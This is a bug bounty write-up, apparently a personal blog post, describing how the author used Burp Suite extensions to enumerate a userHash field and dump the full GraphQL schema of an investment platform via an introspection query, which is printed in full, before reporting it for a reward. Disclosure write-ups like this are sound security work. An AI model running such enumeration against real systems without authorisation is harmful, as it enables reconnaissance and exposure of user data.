GraphQL Introspection leads to Sensitive Data Disclosure.
Introduction :
Hello, I am Pranay Bafna, Final Year Information Technology Student. I’m here to share about my recent findings on graphql.
About the Vulnerability :
For Discovering this bug I learned graphql basics for atleast 2–3 hours and reading all other bug reports and especially nahamsec’s graphql CTF Challenge. When I was checking the target, I found target.qa/infosec/graphql I founded that they are using GraphQL.
You can read more about graphql here:- https://graphql.org/ (Graphql is an alternative to Rest-API.)
About the application : In this application users can invest money in restaurants, fitness studios, craft breweries and a variety of growing concepts. Business Owners can raise capital to expand or open a new concept.
Requirements : Burpsuite.
In Burpsuite, two extensions are required :
- GraphQL raider : GraphQL Raider is a Burp Suite Extension for testing endpoints implementing GraphQL.
- JSON Beautifier : This extension adds a new tab to Burp’s HTTP message viewer to beautify JSON content.
STEPS :
- Firstly, I logged in to the account and moved to the Profile Update page.
- Then, I captured the Profile Update request in Burp Proxy and sent this request to Repeater.
- I sent the request again from repeater and the profile was updated everytime I repeated the request.Then, I noticed in the GraphQL extension that there is some GraphQL Query named as mutation.
- Now, look into the Response of this request in the screenshot, you can see there is “__typename”:”User” .
5. So after sometime, I hit and tried enumerating information from errors and finally I got userHash. When I replaced __typename with userHash, I am able to get the Hash value.(Refer to the screenshot.)
6. So, to dig more, I searched and googled and I got some interesting stuff from graphql homepage that was : The Introspection Query.
7. But, the introspection query is different for different websites.So, I hit and tried requests and Finally I was able to get such a query :
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
…FullType
}
directives {
name
description
args {
…InputValue
}
onOperation
onFragment
onField
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
…InputValue
}
type {
…TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
…InputValue
}
interfaces {
…TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
…TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { …TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
I executed this query in the GraphQL extension. But, this was generating error because the operation name was UpdateProfile.
8. So, then I changed the operationName to IntrospectionQuery and then the query worked successfully and I was able to get whole schema of the GraphQL.
Disclosure :
- I reported to them around 15:39 Pm (3 Pm Indian Standard Time).
- They saw the report, steps to reproduce, and PoC(Screenshots).
- And, they rewarded me with 3 digit $(Between $600-$800).
Thanks
Looking forward to share more blogs
Best Regards
Pranay Bafna
You can reach out me at : https://twitter.com/@PranayB2511